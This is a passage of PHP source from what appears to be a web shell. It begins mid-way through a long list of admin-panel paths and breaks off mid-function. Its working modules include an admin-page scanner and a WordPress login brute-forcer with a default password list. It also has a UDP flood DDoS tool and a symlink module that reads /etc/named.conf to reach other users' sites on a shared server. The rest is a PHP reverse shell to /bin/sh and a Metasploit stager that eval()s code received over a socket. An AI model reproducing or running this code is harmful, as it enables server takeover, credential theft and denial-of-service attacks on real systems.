\r\nyonetim.asp\r\nyonetici.asp\r\nadmin/account.asp\r\nadmin/index.asp\r\nadmin/login.asp\r\nadmin/home.asp\r\nadmin/controlpanel.asp\r\nadmin.asp\r\nadmin/cp.asp\r\ncp.asp\r\nadministrator/index.asp\r\nadministrator/login.asp\r\nadministrator/account.asp\r\nadministrator.asp\r\nlogin.asp\r\nmodelsearch/login.asp\r\nmoderator.asp\r\nmoderator/login.asp\r\nmoderator/admin.asp\r\naccount.asp\r\ncontrolpanel.asp\r\nadmincontrol.asp\r\nadminpanel.asp\r\nfileadmin/\r\nfileadmin.php\r\nfileadmin.asp\r\nfileadmin.html\r\nadministration/\r\nadministration.php\r\nadministration.html\r\nsysadmin.php\r\nsysadmin.html\r\nphpmyadmin/\r\nmyadmin/\r\nsysadmin.asp\r\nsysadmin/\r\nur-admin.asp\r\nur-admin.php\r\nur-admin.html\r\nur-admin/\r\nServer.php\r\nServer.html\r\nServer.asp\r\nServer/\r\nwp-admin/\r\nadministr8.php\r\nadministr8.html\r\nadministr8/\r\nadministr8.asp\r\nwebadmin/\r\nwebadmin.php\r\nwebadmin.asp\r\nwebadmin.html\r\nadministratie/\r\nadmins/\r\nadmins.php\r\nadmins.asp\r\nadmins.html\r\nadministrivia/\r\nDatabase_Administration/\r\nWebAdmin/\r\nuseradmin/\r\nsysadmins/\r\nadmin1/\r\nsystem-administration/\r\nadministrators/\r\npgadmin/\r\ndirectadmin/\r\nstaradmin/\r\nServerAdministrator/\r\nSysAdmin/\r\nadminister/\r\nLiveUser_Admin/\r\nsys-admin/\r\ntypo3/\r\npanel/\r\ncpanel/\r\ncPanel/\r\ncpanel_file/\r\nplatz_login/\r\nrcLogin/\r\nblogindex/\r\nformslogin/\r\nautologin/\r\nsupport_login/\r\nmeta_login/\r\nmanuallogin/\r\nsimpleLogin/\r\nloginflat/\r\nutility_login/\r\nshowlogin/\r\nmemlogin/\r\nmembers/\r\nlogin-redirect/\r\nsub-login/\r\nwp-login/\r\nlogin1/\r\ndir-login/\r\nlogin_db/\r\nxlogin/\r\nsmblogin/\r\ncustomer_login/\r\nUserLogin/\r\nlogin-us/\r\nacct_login/\r\nadmin_area/\r\nbigadmin/\r\nproject-admins/\r\nphppgadmin/\r\npureadmin/\r\nsql-admin/\r\nradmind/\r\nopenvpnadmin/\r\nwizmysqladmin/\r\nvadmind/\r\nezsqliteadmin/\r\nhpwebjetadmin/\r\nnewsadmin/\r\nadminpro/\r\nLotus_Domino_Admin/\r\nbbadmin/\r\nvmailadmin/\r\nIndy_admin/\r\nccp14admin/\r\nirc-macadmin/\r\nbanneradmin/\r\nsshadmin/\r\nphpldapadmin/\r\nmacadmin/\r\nadministratoraccounts/\r\nadmin4_account/\r\nadmin4_colon/\r\nradmind-1/\r\nSuper-Admin/\r\nAdminTools/\r\ncmsadmin/\r\nSysAdmin2/\r\nglobes_admin/\r\ncadmins/\r\nphpSQLiteAdmin/\r\nnavSiteAdmin/\r\nserver_admin_small/\r\nlogo_sysadmin/\r\nserver/\r\ndatabase_administration/\r\npower_user/\r\nsystem_administration/\r\nss_vms_admin_sm/\r\nadminarea/\r\nbb-admin/\r\nadminLogin/\r\npanel-administracion/\r\ninstadmin/\r\nmemberadmin/\r\nadministratorlogin/\r\nadmin/admin.php\r\nadmin_area/admin.php\r\nadmin_area/login.php\r\nsiteadmin/login.php\r\nsiteadmin/index.php\r\nsiteadmin/login.html\r\nadmin/admin.html\r\nadmin_area/index.php\r\nbb-admin/index.php\r\nbb-admin/login.php\r\nbb-admin/admin.php\r\nadmin_area/login.html\r\nadmin_area/index.html\r\nadmincp/index.asp\r\nadmincp/login.asp\r\nadmincp/index.html\r\nwebadmin/index.html\r\nwebadmin/admin.html\r\nwebadmin/login.html\r\nadmin/admin_login.html\r\nadmin_login.html\r\npanel-administracion/login.html\r\nnsw/admin/login.php\r\nwebadmin/login.php\r\nadmin/admin_login.php\r\nadmin_login.php\r\nadmin_area/admin.html\r\npages/admin/admin-login.php\r\nadmin/admin-login.php\r\nadmin-login.php\r\nbb-admin/index.html\r\nbb-admin/login.html\r\nbb-admin/admin.html\r\nadmin/home.html\r\npages/admin/admin-login.html\r\nadmin/admin-login.html\r\nadmin-login.html\r\nadmin/adminLogin.html\r\nadminLogin.html\r\nhome.html\r\nrcjakar/admin/login.php\r\nadminarea/index.html\r\nadminarea/admin.html\r\nwebadmin/index.php\r\nwebadmin/admin.php\r\nuser.html\r\nmodelsearch/login.html\r\nadminarea/login.html\r\npanel-administracion/index.html\r\npanel-administracion/admin.html\r\nmodelsearch/index.html\r\nmodelsearch/admin.html\r\nadmincontrol/login.html\r\nadm/index.html\r\nadm.html\r\nuser.php\r\npanel-administracion/login.php\r\nwp-login.php\r\nadminLogin.php\r\nadmin/adminLogin.php\r\nhome.php\r\nadminarea/index.php\r\nadminarea/admin.php\r\nadminarea/login.php\r\npanel-administracion/index.php\r\npanel-administracion/admin.php\r\nmodelsearch/index.php\r\nmodelsearch/admin.php\r\nadmincontrol/login.php\r\nadm/admloginuser.php\r\nadmloginuser.php\r\nadmin2/login.php\r\nadmin2/index.php\r\nadm/index.php\r\nadm.php\r\naffiliate.php\r\nadm_auth.php\r\nmemberadmin.php\r\nadministratorlogin.php\r\nadmin/admin.asp\r\nadmin_area/admin.asp\r\nadmin_area/login.asp\r\nadmin_area/index.asp\r\nbb-admin/index.asp\r\nbb-admin/login.asp\r\nbb-admin/admin.asp\r\npages/admin/admin-login.asp\r\nadmin/admin-login.asp\r\nadmin-login.asp\r\nuser.asp\r\nwebadmin/index.asp\r\nwebadmin/admin.asp\r\nwebadmin/login.asp\r\nadmin/admin_login.asp\r\nadmin_login.asp\r\npanel-administracion/login.asp\r\nadminLogin.asp\r\nadmin/adminLogin.asp\r\nhome.asp\r\nadminarea/index.asp\r\nadminarea/admin.asp\r\nadminarea/login.asp\r\npanel-administracion/index.asp\r\npanel-administracion/admin.asp\r\nmodelsearch/index.asp\r\nmodelsearch/admin.asp\r\nadmincontrol/login.asp\r\nadm/admloginuser.asp\r\nadmloginuser.asp\r\nadmin2/login.asp\r\nadmin2/index.asp\r\nadm/index.asp\r\nadm.asp\r\naffiliate.asp\r\nadm_auth.asp\r\nmemberadmin.asp\r\nadministratorlogin.asp\r\nsiteadmin/login.asp\r\nsiteadmin/index.asp\r\nADMIN/\r\npaneldecontrol/\r\nlogin/\r\ncms/\r\nadmon/\r\nADMON/\r\nadministrador/\r\nADMIN/login.php\r\npanelc/\r\nADMIN/login.html";\r\nfunction template() {\r\necho \'\r\n\r\n<script type="text/javascript">\r\n<!--\r\nfunction insertcode($text, $place, $replace)\r\n{\r\n var $this = $text;\r\n var logbox = document.getElementById($place);\r\n if($replace == 0)\r\n document.getElementById($place).innerHTML = logbox.innerHTML+$this;\r\n else\r\n document.getElementById($place).innerHTML = $this;\r\n//document.getElementById("helpbox").innerHTML = $this;\r\n}\r\n-->\r\n</script>\r\n<br>\r\n<br>\r\n<h1 class="technique-two">\r\n \r\n\r\n\r\n</h1>\r\n\r\n<div class="wrapper">\r\n<div class="red">\r\n<div class="tube">\r\n<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>\r\n<form action="" method="post" name="xploit_form">\r\n\r\n<tr>\r\n<tr>\r\n\t<b><td>URL</td>\r\n\t<td><input class="inputz" type="text" name="xploit_url" value="\'.$_POST[\'xploit_url\'].\'" style="width: 350px;" />\r\n\t</td>\r\n</tr><tr>\r\n\t<td>404 string</td>\r\n\t<td><input class="inputz" type="text" name="xploit_404string" value="\'.$_POST[\'xploit_404string\'].\'" style="width: 350px;" />\r\n\t</td></b>\r\n</tr><br><td>\r\n<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />\r\n</span></td></tr>\r\n</form></td></tr>\r\n<br /></table>\r\n</div> <!-- /tube -->\r\n</div> <!-- /red -->\r\n<br />\r\n<div class="green">\r\n<div class="tube" id="rightcol">\r\nVerificat: <span id="verified">0</span> / <span id="total">0</span><br />\r\n<b>Found ones:<br /></b>\r\n</div> <!-- /tube -->\r\n</div></center><!-- /green -->\r\n<br clear="all" /><br />\r\n<div class="blue">\r\n<div class="tube" id="logbox">\r\n<br />\r\n<br />\r\nAdmin page Finder :<br /><br />\r\n</div> <!-- /tube -->\r\n</div> <!-- /blue -->\r\n</div> <!-- /wrapper -->\r\n<br clear="all"><br>\';\r\n}\r\nfunction show($msg, $br=1, $stop=0, $place=\'logbox\', $replace=0) {\r\n if($br == 1) $msg .= "<br />";\r\n echo "<script type=\\"text/javascript\\">insertcode(\'".$msg."\', \'".$place."\', \'".$replace."\');</script>";\r\n if($stop == 1) exit;\r\n @flush();@ob_flush();\r\n}\r\nfunction check($x, $front=0) {\r\n global $_POST,$site,$false;\r\n if($front == 0) $t = $site.$x;\r\n else $t = \'http://\'.$x.\'.\'.$site.\'/\';\r\n $headers = get_headers($t);\r\n if (!eregi(\'200\', $headers[0])) return 0;\r\n $data = @file_get_contents($t);\r\n if($_POST[\'xploit_404string\'] == "") if($data == $false) return 0;\r\n if($_POST[\'xploit_404string\'] != "") if(strpos($data, $_POST[\'xploit_404string\'])) return 0;\r\n return 1;\r\n}\r\n \r\n// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\ntemplate();\r\nif(!isset($_POST[\'xploit_url\'])) die;\r\nif($_POST[\'xploit_url\'] == \'\') die;\r\n$site = $_POST[\'xploit_url\'];\r\nif ($site[strlen($site)-1] != "/") $site .= "/";\r\nif($_POST[\'xploit_404string\'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");\r\n$list[\'end\'] = str_replace("\\r", "", $list[\'end\']);\r\n$list[\'front\'] = str_replace("\\r", "", $list[\'front\']);\r\n$pathes = explode("\\n", $list[\'end\']);\r\n$frontpathes = explode("\\n", $list[\'front\']);\r\nshow(count($pathes)+count($frontpathes), 1, 0, \'total\', 1);\r\n$verificate = 0;\r\nforeach($pathes as $path) {\r\n show(\'Checking \'.$site.$path.\' : \', 0, 0, \'logbox\', 0);\r\n $verificate++; show($verificate, 0, 0, \'verified\', 1);\r\n if(check($path) == 0) show(\'not found\', 1, 0, \'logbox\', 0);\r\n else{\r\n show(\'<span style="color: #00FF00;"><strong>found</strong></span>\', 1, 0, \'logbox\', 0);\r\n show(\'<a href="\'.$site.$path.\'">\'.$site.$path.\'</a>\', 1, 0, \'rightcol\', 0);\r\n }\r\n}\r\npreg_match("/\\/\\/(.*?)\\//i", $site, $xx); $site = $xx[1];\r\nif(substr($site, 0, 3) == "www") $site = substr($site, 4);\r\nforeach($frontpathes as $frontpath) {\r\n show(\'Checking http://\'.$frontpath.\'.\'.$site.\'/ : \', 0, 0, \'logbox\', 0);\r\n $verificate++; show($verificate, 0, 0, \'verified\', 1);\r\n if(check($frontpath, 1) == 0) show(\'not found\', 1, 0, \'logbox\', 0);\r\n else{\r\n show(\'<span style="color: #00FF00;"><strong>found</strong></span>\', 1, 0, \'logbox\', 0);\r\n show(\'<a href="http://\'.$frontpath.\'.\'.$site.\'/">\'.$frontpath.\'.\'.$site.\'</a>\', 1, 0, \'rightcol\', 0);\r\n }\r\n \r\n}\r\n}\r\n//////////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'wpbrute\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=wpbrute" method="post">\r\n<center>\r\n<br><Br><b><font size=\'2\' >+--=[ Wordpress Brute Force ]=--+</font><br>\r\n<center><p>Tanks To <a href="https://www.facebook.com/anton115" target="_blank">Cah_bagus</a></p></b></center>\r\n<form enctype="multipart/form-data" method="POST">\r\n <table width=\'624\' border=\'0\' class=\'tabnet\' id=\'Box\'>\r\n <tr><th colspan="5">Wordpress Brute Force</th></tr>\r\n \r\n\r\n <tr>\r\n <td > </td>\r\n <td ><p>Hosts:</p></td>\r\n <td ><p> Users:</p></td>\r\n <td ><p>Passwords:</p></td>\r\n </tr>\r\n <tr>\r\n <td> </td>\r\n <td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST[\'hosts\'];} ?></textarea></td>\r\n <td ><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php if($_POST){echo $_POST[\'usernames\'];}else {echo "admin";} ?></textarea></td>\r\n <td ><textarea style="background:black;" name="passwords" cols="30" rows="10" ><?php if($_POST){echo $_POST[\'passwords\'];}else {echo "admin\\nadministrator\\n123123\\n123321\\n123456\\n1234567\\n12345678\\n123456789\\n123456123456\\nadmin2010\\nadmin2011\\npassword\\nP@ssW0rd\\n!@#$%^\\n!@#$%^&*(\\n(*&^%$#@!\\n111111\\n222222\\n333333\\n444444\\n555555\\n666666\\n777777\\n888888\\n999999";} ?></textarea></td>\r\n </tr>\r\n<tr><td colspan="4"><input class=\'inputzbut\' type="submit" name="submit" value="Brute Now" />\r\n<?php\r\nif($_POST)\r\n{\r\n\t$hosts = trim(filter($_POST[\'hosts\']));\r\n\t$passwords = trim(filter($_POST[\'passwords\']));\r\n\t$usernames = trim(filter($_POST[\'usernames\']));\r\n\r\n\tif($passwords && $usernames && $hosts)\r\n\t{\r\n\t\t$hosts_explode = explode("\\n", $hosts);\r\n\t\t$usernames_explode = explode("\\n", $usernames);\r\n \t$passwords_explode = explode("\\n", $passwords);\r\n\r\n\t\tforeach($hosts_explode as $host)\r\n\t\t{\r\n\t\t\t$host = RemoveLastSlash($host);\r\n\t\t\t$hacked = 0;\r\n\t\t\t$host = str_replace(array("http://","https://","www."),"",trim($host));\r\n\t\t\t$host = "http://".$host;\r\n\t\t\t$wpAdmin = $host.\'/wp-admin/\';\r\n\r\n\t\t\tif(!url_exists($host."/wp-login.php"))\r\n\t\t\t{echo "<p>".$host." => <font color=\'red\'>Error In Login Page !</font></p>";ob_flush();flush();continue;}\r\n\r\n\t\t\tforeach($usernames_explode as $username)\r\n\t\t\t{\r\n\t\t\t\tforeach($passwords_explode as $password)\r\n\t\t\t\t{\r\n\t\t\t\t\t$ch = curl_init();\r\n\t\t\t\t\tcurl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\t\t\tcurl_setopt($ch,CURLOPT_URL,$host.\'/wp-login.php\');\r\n\t\t\t\t\tcurl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");\r\n\t\t\t\t\tcurl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");\r\n\t\t\t\t\tcurl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);\r\n\t\t\t\t\tcurl_setopt($ch,CURLOPT_POST,TRUE);\r\n\t\t\t\t\tcurl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1");\r\n\t\t\t\t\t$login =\t curl_exec($ch);\r\n\r\n\t\t\t\t\tif(eregi ("profile.php",$login) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$hacked = 1;\r\n\t\t\t\t\t\techo "<p>".$host." => UserName : [<font color=\'green\'>".$username."</font>] : Password : [<font color=\'green\'>".$password."</font>]</p>";\r\n\t\t\t\t\t\tob_flush();flush();break;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tif($hacked == 1){break;}\r\n\t\t\t}\r\n\t\t\tif($hacked == 0)\r\n\t\t\t{echo "<p>".$host." => <font color=\'red\'>Failed !</font></p>";ob_flush();flush();}\r\n\t\t}\r\n\t}\r\n\telse {echo "<p><font color=\'red\'>All fields are Required ! </font></p>";}\r\n}\r\n?>\r\n</td></tr>\r\n</table></form></center>\r\n<?php\r\nfunction url_exists($strURL)\r\n{\r\n $resURL = curl_init();\r\n curl_setopt($resURL, CURLOPT_URL, $strURL);\r\n curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);\r\n curl_setopt($resURL, CURLOPT_HEADERFUNCTION, \'curlHeaderCallback\');\r\n curl_setopt($resURL, CURLOPT_FAILONERROR, 1);\r\n curl_exec ($resURL);\r\n $intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);\r\n curl_close ($resURL);\r\n if ($intReturnCode != 200){return false;}\r\n\telse{return true ;}\r\n}\r\nfunction filter($string)\r\n{\r\n\tif(get_magic_quotes_gpc() != 0){return stripslashes($string);\t}\r\n\telse{return $string;\t}\r\n}\r\nfunction RemoveLastSlash($host)\r\n{\r\n\tif(strrpos($host, \'/\', -1) == strlen($host)-1)\r\n\t{return substr($host,0,strrpos($host, \'/\', -1));}\r\n\telse{return $host;}\r\n}\r\necho "</p>";\r\n}\r\n\r\n\r\n//////////////////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'dos\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=dos" method="post">\r\n<center><br><br><br>\r\nYour IP: <font color="red"><b><?php echo $my_ip; ?></b></font> (Don\'t DoS yourself nub)<br><br>\r\n<table class="tabnet" style="width:333px;padding:0 1px;">\r\n<th colspan="5">Ddos Tool</th>\r\n<tr><tr><td>IP Target</td><td>:</td>\r\n<td><input type="text" class="inputz" name="ip" size="48" maxlength="25" value = "0.0.0.0" onblur = "if ( this.value==\'\' ) this.value = \'0.0.0.0\';" onfocus = " if ( this.value == \'0.0.0.0\' ) this.value = \'\';"/>\r\n</td></tr>\r\n<tr><td>Time</td><td>:</td>\r\n<td><input type="text" class="inputz" name="time" size="48" maxlength="25" value = "time (in seconds)" onblur = "if ( this.value==\'\' ) this.value = \'time (in seconds)\';" onfocus = " if ( this.value == \'time (in seconds)\' ) this.value = \'\';"/>\r\n</td></tr>\r\n\r\n<tr><td>Port</td><td>:</td>\r\n<td><input type="text" class="inputz" name="port" size="48" maxlength="5" value = "port" onblur = "if ( this.value==\'\' ) this.value = \'port\';" onfocus = " if ( this.value == \'port\' ) this.value = \'\';"/>\r\n</td></tr></tr></table></b><br>\r\n<input type="submit" class="inputzbut" name="fire" value=" Firee !!! ">\r\n<br><br>\r\n<center>\r\nAfter initiating the DoS attack, please wait while the browser loads.\r\n</center>\r\n\r\n</form>\r\n</center>\r\n<?php\r\n$submit = $_POST[\'fire\'];\r\nif (isset($submit)) {\r\n\r\n$packets = 0;\r\n$ip = $_POST[\'ip\'];\r\n$rand = $_POST[\'port\'];\r\nset_time_limit(0);\r\nignore_user_abort(FALSE);\r\n\r\n$exec_time = $_POST[\'time\'];\r\n\r\n$time = time();\r\nprint "Flooded: $ip on port $rand <br><br>";\r\n$max_time = $time+$exec_time;\r\n\r\n\r\n\r\nfor($i=0;$i<65535;$i++){\r\n $out .= "X";\r\n}\r\nwhile(1){\r\n$packets++;\r\n if(time() > $max_time){\r\n break;\r\n }\r\n \r\n $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);\r\n if($fp){\r\n fwrite($fp, $out);\r\n fclose($fp);\r\n }\r\n}\r\necho "Packet complete at ".time(\'h:i:s\')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \\n";\r\n}\r\n}\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'symlink\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=symlink" method="post">\r\n\r\n<?php \r\n\r\n@set_time_limit(0);\r\n\r\necho "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";\r\n\r\n@mkdir(\'sym\',0777);\r\n$htaccess = "Options all \\n DirectoryIndex Sux.html \\n AddType text/plain .php \\n AddHandler server-parsed .php \\n AddType text/plain .html \\n AddHandler txt .html \\n Require None \\n Satisfy Any";\r\n$write =@fopen (\'sym/.htaccess\',\'w\');\r\nfwrite($write ,$htaccess);\r\n@symlink(\'/\',\'sym/root\');\r\n$filelocation = basename(__FILE__);\r\n$read_named_conf = @file(\'/etc/named.conf\');\r\nif(!$read_named_conf)\r\n{\r\necho "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; \r\n}\r\nelse\r\n{\r\necho "<br><br><div class=\'tmp\'><table border=\'1\' bordercolor=\'#00ff00\' width=\'500\' cellpadding=\'1\' cellspacing=\'0\'><td>Domains</td><td>Users</td><td>symlink </td>";\r\nforeach($read_named_conf as $subject){\r\nif(eregi(\'zone\',$subject)){\r\npreg_match_all(\'#zone "(.*)"#\',$subject,$string);\r\nflush();\r\nif(strlen(trim($string[1][0])) >2){\r\n$UID = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$string[1][0]));\r\n$name = $UID[\'name\'] ;\r\n@symlink(\'/\',\'sym/root\');\r\n$name = $string[1][0];\r\n$iran = \'\\.ir\';\r\n$israel = \'\\.il\';\r\n$indo = \'\\.id\';\r\n$sg12 = \'\\.sg\';\r\n$edu = \'\\.edu\';\r\n$gov = \'\\.gov\';\r\n$gose = \'\\.go\';\r\n$gober = \'\\.gob\';\r\n$mil1 = \'\\.mil\';\r\n$mil2 = \'\\.mi\';\r\n$malay\t= \'\\.my\';\r\n$china\t= \'\\.cn\';\r\n$japan\t= \'\\.jp\';\r\n$austr\t= \'\\.au\';\r\n$porn\t= \'\\.xxx\';\r\n$as\t\t= \'\\.uk\';\r\n$calfn\t= \'\\.ca\';\r\n\r\nif (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])\r\nor eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])\r\nor eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])\r\nor eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))\r\n{\r\n$name = "<div style=\' color: #FF0000 ; text-shadow: 0px 0px 1px red; \'>".$string[1][0].\'</div>\';\r\n}\r\necho "\r\n<tr>\r\n\r\n<td>\r\n<div class=\'dom\'><a target=\'_blank\' href=http://www.".$string[1][0].\'/>\'.$name.\' </a> </div>\r\n</td>\r\n\r\n<td>\r\n\'.$UID[\'name\']."\r\n</td>\r\n\r\n<td>\r\n<a href=\'sym/root/home/".$UID[\'name\']."/public_html\' target=\'_blank\'>Symlink </a>\r\n</td>\r\n\r\n</tr></div> ";\r\nflush();\r\n}\r\n}\r\n}\r\n}\r\n\r\necho "</center></table>"; \r\n\r\n}\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'domain\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=domain" method="post">\r\n\r\n<?php\r\n\r\necho \'<br><br><center><h1>+--=[ local domain viewer ]=--+</h1></center><br><br><div class=content>\';\r\n\r\n$file = @implode(@file("/etc/named.conf"));\r\nif(!$file){ die("# can\'t ReaD -> [ /etc/named.conf ]"); }\r\npreg_match_all("#named/(.*?).db#",$file ,$r);\r\n$domains = array_unique($r[1]);\r\n//check();\r\n//if(isset($_GET[\'ShowAll\']))\r\n{\r\necho "<table align=center border=1 width=59% cellpadding=5>\r\n<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>\r\n<tr><td>Domain</td><td>User</td></tr>";\r\nforeach($domains as $domain){\r\n$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));\r\n\r\n\t\techo "<tr><td>$domain</td><td>".$user[\'name\']."</td></tr>";\r\n\t\t}\r\n\techo "</table>";\r\n\t}\r\n\r\necho \'</div>\';\r\n}\r\n//////////////////////////////////////////////////////\r\n/////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'tool\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=tool" method="post">\r\n<?php\r\n\r\nerror_reporting(0);\r\nfunction ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}\r\n$s_my_ip = gethostbyname($_SERVER[\'HTTP_HOST\']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class=\'mybox\' align=\'center\'><td><h2>Reverse shell ( php )</h2><form method=\'post\' actions=\'?y=<?php echo $pwd;?>&x=\'tool\'><table class=\'tabnet\'><tr><td style=\'width:110px;\'>Your IP</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'rstarget4\' value=\'".$rstarget4."\' /></td></tr><tr><td>Port</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqlportb4\' value=\'".$rsportb4."\' /></td></tr></table><input type=\'submit\' name=\'xback_php\' class=\'inputzbut\' value=\'connect\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' /><input type=\'hidden\' name=\'d\' value=\'".$pwd."\' /></form></td><td><hr color=\'#4C83AF\'><td><td><form method=\'POST\'><table class=\'tabnet\'><h2>Metasploit Connection </h2><tr><td style=\'width:110px;\'>Your IP</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' size=\'40\' name=\'yip\' value=\'".$my_ip."\' /></td></tr><tr><td>Port</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' size=\'5\' name=\'yport\' value=\'443\' /></td></tr></table><input class=\'inputzbut\' type=\'submit\' value=\'Connect\' name=\'metaConnect\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\'></form></td></div></center></table><br><br />";\r\necho $s_result;\r\nif($_POST[\'metaConnect\']){$ipaddr = $_POST[\'yip\'];$port = $_POST[\'yport\'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable(\'stream_socket_client\')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = \'stream\';}elseif (is_callable(\'fsockopen\')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = \'stream\';}elseif (is_callable(\'socket_create\')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = \'socket\';}else {die();}switch ($msgsock_type){case \'stream\': $len = fread($msgsock, 4); break;case \'socket\': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a[\'len\'];$buffer = \'\';while (strlen($buffer) < $len){switch ($msgsock_type) {case \'stream\': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case \'socket\': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}\r\nif(isset($_REQUEST[\'sqlportb4\'])) $rsportb4 = ss($_REQUEST[\'sqlportb4\']);\r\nif(isset($_REQUEST[\'rstarget4\'])) $rstarget4 = ss($_REQUEST[\'rstarget4\']);\r\nif ($_POST[\'xback_php\']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = \'/bin/sh\';$daemon = 0;$debug = 0;if(function_exists(\'pcntl_fork\')){$pid = pcntl_fork();\r\nif ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}\r\numask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);\r\n$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));\r\n$process = proc_open($shell, $descriptorspec, $pipes);\r\nif(!is_resource($process)) exit(1);\r\nstream_set_blocking($pipes[0], 0);\r\nstream_set_blocking($pipes[1], 0);\r\nstream_set_blocking($pipes[2], 0);\r\nstream_set_blocking($sock, 0);\r\nwhile(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\r\nif(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}\r\nif(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}\r\nif(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}\r\n}\r\n////////////////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'whois\'))\r\n {\r\n ?>\r\n <form action="?y=<?php echo $pwd; ?>&x=whois" method="post">\r\n <?php\r\n @set_time_limit(0);\r\n @error_reporting(0);\r\n function sws_domain_info($site)\r\n {\r\n $getip = @file_get_contents("http://networktools.nl/whois/$site");\r\n flush();\r\n $ip = @findit($getip,\'<pre>\',\'</pre>\');\r\n return $ip;\r\n flush();\r\n }\r\n function sws_net_info($site)\r\n {\r\n $getip = @file_get_contents("http://networktools.nl/asinfo/$site");\r\n $ip = @findit($getip,\'<pre>\',\'</pre>\');\r\n return $ip;\r\n flush();\r\n }\r\n function sws_site_ser($site)\r\n {\r\n $getip = @file_get_contents("http://networktools.nl/reverseip/$site");\r\n $ip = @findit($getip,\'<pre>\',\'</pre>\');\r\n return $ip;\r\n flush();\r\n }\r\n function sws_sup_dom($site)\r\n {\r\n $getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");\r\n $ip = @findit($getip,\'<strong>Nameservers found:</strong>\',\'<script 